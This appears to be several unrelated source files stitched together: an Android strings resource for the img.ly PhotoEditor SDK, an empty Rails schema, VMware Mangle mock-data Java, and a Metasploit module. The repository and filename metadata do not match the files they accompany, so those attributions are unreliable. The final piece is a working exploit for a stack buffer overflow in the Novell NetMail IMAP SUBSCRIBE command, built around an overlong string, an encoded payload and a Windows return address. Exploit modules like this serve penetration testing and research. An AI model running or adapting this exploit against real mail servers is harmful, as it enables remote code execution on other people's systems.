{'repo_name': 'vslavik/poedit', 'stars': '1009', 'repo_language': 'C++', 'file_name': 'eat.qbk', 'mime_type': 'text/plain', 'hash': -5221508739514475037, 'source_dataset': 'data'}


<?xml version="1.0" encoding="utf-8"?>
<!--
  ~ This file is part of the PhotoEditor Software Development Kit.
  ~
  ~ Copyright (C) 2019 img.ly GmbH <contact@img.ly>
  ~ All rights reserved.
  ~
  ~ Redistribution and use in source and binary forms, without
  ~ modification, are permitted provided that the following license agreement
  ~ is approved and a legal/financial contract was signed by the user.
  ~
  ~ The license agreement can be found under the following link:
  ~
  ~ https://www.photoeditorsdk.com/LICENSE.txt
  -->

<resources>

    <string name="app_name"/>

    <string name="pesdk_editor_title_name">Editor</string>
    <string name="pesdk_editor_title_mainMenu"/>

    <string name="pesdk_editor_title_closeEditorAlert">Close Editor?</string>
    <string name="pesdk_editor_text_closeEditorAlert">Do you really want to discard the image?</string>
    <string name="pesdk_editor_button_closeEditorAlertConfirmation">Yes</string>
    <string name="pesdk_editor_button_closeEditorAlertCancelation">No</string>

    <string name="pesdk_editor_cancel">Cancel</string>
    <string name="pesdk_editor_accept">Accept</string>
    <string name="pesdk_editor_save">Save</string>

    <string name="pesdk_editor_text_exportProgressUnknown">Exporting image…</string>
    <string name="pesdk_editor_text_exportProgress" formatted="false">Exporting image %s.</string>

    <string name="pesdk_common_button_flipH">Flip H</string>
    <string name="pesdk_common_button_flipV">Flip V</string>
    <string name="pesdk_common_button_undo">Undo</string>
    <string name="pesdk_common_button_redo">Redo</string>

    <string name="vesdk_video_trim_title_name"/>
    <string name="pesdk_transform_title_name"/>
    <string name="pesdk_filter_title_name"/>
    <string name="pesdk_adjustments_title_name"/>
    <string name="pesdk_sticker_title_name"/>
    <string name="pesdk_text_title_name"/>
    <string name="pesdk_textDesign_title_name"/>
    <string name="pesdk_overlay_title_name"/>
    <string name="pesdk_frame_title_name"/>
    <string name="pesdk_brush_title_name"/>
    <string name="pesdk_focus_title_name"/>

    <string name="pesdk_common_title_colorPicker">Color Picker</string>
    <string name="pesdk_common_title_transparentColor">Transparent</string>
    <string name="pesdk_common_title_whiteColor">White</string>
    <string name="pesdk_common_title_grayColor">Gray</string>
    <string name="pesdk_common_title_blackColor">Black</string>
    <string name="pesdk_common_title_lightBlueColor">Light blue</string>
    <string name="pesdk_common_title_blueColor">Blue</string>
    <string name="pesdk_common_title_purpleColor">Purple</string>
    <string name="pesdk_common_title_orchidColor">Orchid</string>
    <string name="pesdk_common_title_pinkColor">Pink</string>
    <string name="pesdk_common_title_redColor">Red</string>
    <string name="pesdk_common_title_orangeColor">Orange</string>
    <string name="pesdk_common_title_goldColor">Gold</string>
    <string name="pesdk_common_title_yellowColor">Yellow</string>
    <string name="pesdk_common_title_oliveColor">Olive</string>
    <string name="pesdk_common_title_greenColor">Green</string>
    <string name="pesdk_common_title_aquamarinColor">Aquamarin</string>
    <string name="pesdk_common_title_pipettableColor">Pipettable color</string>

</resources>

{'repo_name': 'imgly/pesdk-android-demo', 'stars': '420', 'repo_language': 'Java', 'file_name': 'imgly_styles.xml', 'mime_type': 'text/xml', 'hash': 495596468054305934, 'source_dataset': 'data'}


# This file is auto-generated from the current state of the database. Instead
# of editing this file, please use the migrations feature of Active Record to
# incrementally modify your database, and then regenerate this schema definition.
#
# Note that this schema.rb definition is the authoritative source for your
# database schema. If you need to create the application database on another
# system, you should be using db:schema:load, not running all the migrations
# from scratch. The latter is a flawed and unsustainable approach (the more migrations
# you'll amass, the slower it'll run and the greater likelihood for issues).
#
# It's strongly recommended to check this file into your version control system.

ActiveRecord::Schema.define(:version => 0) do

end

{'repo_name': 'ryanb/railscasts-episodes', 'stars': '843', 'repo_language': 'Ruby', 'file_name': '404.html', 'mime_type': 'text/html', 'hash': -5778448157185645907, 'source_dataset': 'data'}


/*
 * Copyright (c) 2016-2019 VMware, Inc. All Rights Reserved.
 *
 * This product is licensed to you under the Apache License, Version 2.0 (the "License").
 * You may not use this product except in compliance with the License.
 *
 * This product may include a number of subcomponents with separate copyright notices
 * and license terms. Your use of these subcomponents is subject to the terms and
 * conditions of the subcomponent's license, as noted in the LICENSE file.
 */

package com.vmware.mangle.mockdata;

import java.util.ArrayList;
import java.util.LinkedHashMap;
import java.util.List;

import org.springframework.http.ResponseEntity;

import com.vmware.mangle.model.ResourceList;
import com.vmware.mangle.model.ResourceObject;
import com.vmware.mangle.model.VCenterVMNic;
import com.vmware.mangle.model.VCenterVMState;
import com.vmware.mangle.model.VMStates;
import com.vmware.mangle.utils.status.VCenterVmNicStatus;

/**
 * @author chetanc
 */

public class InventoryHelperMockData {

    public static ResourceList getVCenterVMMockData() {
        LinkedHashMap<String, String> map = new LinkedHashMap();
        map.put("memory_size_MiB", "16384");
        map.put("vm", "vm-15");
        map.put("name", "centos");
        map.put("power_state", "POWERED_ON");
        map.put("cpu_count", "4");

        List<LinkedHashMap<String, String>> list = new ArrayList<>();

        ResourceList resourceList = new ResourceList<>();
        list.add(map);
        resourceList.setValue(list);
        return resourceList;
    }

    public ResourceObject getDummyResourceObject() {
        return new ResourceObject<>();
    }

    public ResponseEntity getSuccessResponseEntityWithDummyResponseObject() {
        return ResponseEntity.accepted().body(new ResourceObject());
    }

    public ResponseEntity getFailureResponseEntityWithDummyResponseObject() {
        return ResponseEntity.badRequest().body(new ResourceObject());
    }

    public VCenterVMState getSuccessVCenterVMGuestOSState() {
        VCenterVMState vCenterVMState = new VCenterVMState();
        vCenterVMState.setState(VMStates.POWERED_ON.name());
        return vCenterVMState;
    }

    public VCenterVMState getFailureVCenterVMGuestOSState() {
        VCenterVMState vCenterVMState = new VCenterVMState();
        vCenterVMState.setState(VMStates.POWERED_OFF.name());
        return vCenterVMState;
    }

    public VCenterVMNic getSuccessVCenterVMNicState() {
        VCenterVMNic vCenterVMNic = new VCenterVMNic();
        vCenterVMNic.setState(VCenterVmNicStatus.STATE_CONNECTED);
        return vCenterVMNic;
    }

    public VCenterVMNic getFailedVCenterVMNicState() {
        VCenterVMNic vCenterVMNic = new VCenterVMNic();
        vCenterVMNic.setState(VCenterVmNicStatus.STATE_DISCONNECTED);
        return vCenterVMNic;
    }
}

{'repo_name': 'vmware/mangle', 'stars': '108', 'repo_language': 'Java', 'file_name': 'checkstyle-suppression.xml', 'mime_type': 'text/xml', 'hash': 5253851552435871866, 'source_dataset': 'data'}


##
# $Id: novell_netmail_subscribe.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::Remote::Imap

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Novell NetMail <= 3.52d IMAP SUBSCRIBE Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in Novell's NetMail 3.52 IMAP SUBSCRIBE
				verb. By sending an overly long string, an attacker can overwrite the
				buffer and control program execution.
			},
			'Author'         => [ 'MC' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 9262 $',
			'References'     =>
				[
					[ 'CVE', '2006-6761' ],
					[ 'OSVDB', '31360' ],
					[ 'BID', '21728' ],
					[ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=454' ],
				],
			'Privileged'     => true,
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},
			'Payload'        =>
				{
					'Space'    => 500,
					'BadChars' => "\x00\x0a\x0d\x20",
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					['Windows 2000 SP0-SP4 English',		{ 'Ret' => 0x75022ac4 }],
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Dec 23 2006'))

	end

	def exploit
		sploit =  "a002 SUBSCRIBE #" + rand_text_english(1602) + payload.encoded
		sploit << "\xeb\x06" + rand_text_english(2) + [target.ret].pack('V')
		sploit <<  [0xe8, -485].pack('CV') + rand_text_english(150)

		info = connect_login

		if (info == true)
			print_status("Trying target #{target.name}...")
			sock.put(sploit + "\r\n")
		else
			print_status("Not falling through with exploit")
		end

		handler
		disconnect
	end

end

{'repo_name': 'hahwul/mad-metasploit', 'stars': '145', 'repo_language': 'Ruby', 'file_name': '46508.rb', 'mime_type': 'text/x-ruby', 'hash': 7887217896677847732, 'source_dataset': 'data'}